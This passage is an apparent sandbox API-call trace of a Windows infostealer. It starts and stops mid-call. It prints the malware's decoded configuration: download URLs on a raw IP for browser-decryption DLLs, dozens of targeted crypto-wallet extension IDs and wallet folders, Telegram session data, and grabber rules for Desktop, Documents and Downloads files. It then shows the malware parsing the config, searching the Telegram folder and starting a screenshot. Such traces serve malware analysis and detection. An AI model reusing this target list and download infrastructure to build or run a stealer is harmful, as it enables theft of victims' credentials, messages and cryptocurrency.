Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.343] lstrlenW (lpString="Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 357 [0271.343] LocalAlloc (uFlags=0x40, uBytes=0x2ca) returned 0x6fd570 [0271.343] lstrlenW (lpString="Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 357 [0271.343] LocalAlloc (uFlags=0x40, uBytes=0x34a) returned 0x6fd848 [0271.343] StrCpyW (in: psz1=0x6fd570, psz2="Telegram" | out: psz1="Telegram") returned="Telegram" [0271.343] LocalFree (hMem=0x6fd848) returned 0x0 [0271.343] lstrlenW (lpString="Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 348 [0271.343] LocalAlloc (uFlags=0x40, uBytes=0x2b8) returned 0x6fd848 [0271.343] StrStrW (lpFirst="Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.343] lstrlenW (lpString="Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 348 [0271.343] LocalAlloc (uFlags=0x40, uBytes=0x338) returned 0x6fdb08 [0271.343] StrCpyW (in: psz1=0x6fd848, psz2="Telegram Desktop\\tdata" | out: psz1="Telegram Desktop\\tdata") returned="Telegram Desktop\\tdata" [0271.344] LocalFree (hMem=0x6fdb08) returned 0x0 [0271.344] lstrlenW (lpString="*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 325 [0271.344] LocalAlloc (uFlags=0x40, uBytes=0x28a) returned 0x6fdb08 [0271.344] StrStrW (lpFirst="*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.344] lstrlenW (lpString="*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 325 [0271.344] LocalAlloc (uFlags=0x40, uBytes=0x30a) returned 0x6fdda0 [0271.344] StrCpyW (in: psz1=0x6fdb08, psz2="*" | out: psz1="*") returned="*" [0271.344] LocalFree (hMem=0x6fdda0) returned 0x0 [0271.344] lstrlenW (lpString="*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 323 [0271.344] LocalAlloc (uFlags=0x40, uBytes=0x286) returned 0x6fdda0 [0271.344] StrStrW (lpFirst="*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.344] lstrlenW (lpString="*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 323 [0271.344] LocalAlloc (uFlags=0x40, uBytes=0x306) returned 0x6fe030 [0271.344] StrCpyW (in: psz1=0x6fdda0, psz2="*emoji*,*user_data*,*tdummy*,*dumps*" | out: psz1="*emoji*,*user_data*,*tdummy*,*dumps*") returned="*emoji*,*user_data*,*tdummy*,*dumps*" [0271.345] LocalFree (hMem=0x6fe030) returned 0x0 [0271.345] LocalAlloc (uFlags=0x40, uBytes=0x4000) returned 0x6fe628 [0271.345] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0271.345] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4848, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0271.346] PathCombineW (in: pszDest=0x6f4848, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Telegram Desktop\\tdata" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata" [0271.346] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0271.346] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata" [0271.346] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\telegram desktop\\tdata\\*"), lpFindFileData=0x24f888 | out: lpFindFileData=0x24f888*(dwFileAttributes=0x6e3ff6, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6f4848, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f8a4, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8ea, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata", cAlternateFileName="Ą")) returned 0xffffffff [0271.346] LocalFree (hMem=0x6f4ec0) returned 0x0 [0271.347] LocalFree (hMem=0x6fd570) returned 0x0 [0271.347] LocalFree (hMem=0x6fd848) returned 0x0 [0271.347] LocalFree (hMem=0x6fdb08) returned 0x0 [0271.347] LocalFree (hMem=0x6fdda0) returned 0x0 [0271.348] LocalFree (hMem=0x6f4848) returned 0x0 [0271.348] LocalFree (hMem=0x6fe628) returned 0x0 [0271.355] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0271.357] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f15a0 [0271.358] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="scrnsht_") returned="scrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.358] StrStrW (lpFirst="Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.358] lstrlenW (lpString="Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 381 [0271.358] LocalAlloc (uFlags=0x40, uBytes=0x2fa) returned 0x6f3ee8 [0271.358] lstrlenW (lpString="Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 381 [0271.358] LocalAlloc (uFlags=0x40, uBytes=0x37a) returned 0x6f41f0 [0271.358] StrCpyW (in: psz1=0x6f3ee8, psz2="Screenshot.jpeg" | out: psz1="Screenshot.jpeg") returned="Screenshot.jpeg" [0271.359] LocalFree (hMem=0x6f41f0) returned 0x0 [0271.359] StrCpyW (in: psz1=0x6f15a0, psz2="Screenshot.jpeg" | out: psz1="Screenshot.jpeg") returned="Screenshot.jpeg" [0271.359] LocalFree (hMem=0x6f3ee8) returned 0x0 [0271.360] GetDesktopWindow () returned 0x10010 [0271.360] LoadLibraryW (lpLibFileName="GdiPlus.dll") returned 0x71a10000 [0272.085] GetCurrentProcess () returned 0xffffffff [0272.091] GetCurrentProcess () returned 0xffffffff [0272.116] LoadLibraryW (lpLibFileName="Gdi32.dll") returned 0x75220000 [0272.117] GetProcAddress (hModule=0x71a10000, lpProcName="GdiplusStartup") returned 0x71a35600 [0272.117] GetProcAddress (hModule=0x71a10000, lpProcName="GdipDisposeImage") returned 0x71a44cc8 [0272.117] GetProcAddress (hModule=0x71a10000, lpProcName="GdipGetImageEncoders") returned 0x71a5228c [0272.117] GetProcAddress (hModule=0x71a10000, lpProcName="GdipGetImageEncodersSize") returned 0x71a52203 [0272.118] GetProcAddress (hModule=0x71a10000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x71a46671 [0272.118] GetProcAddress (hModule=0x71a10000, lpProcName="GdipSaveImageToFile") returned 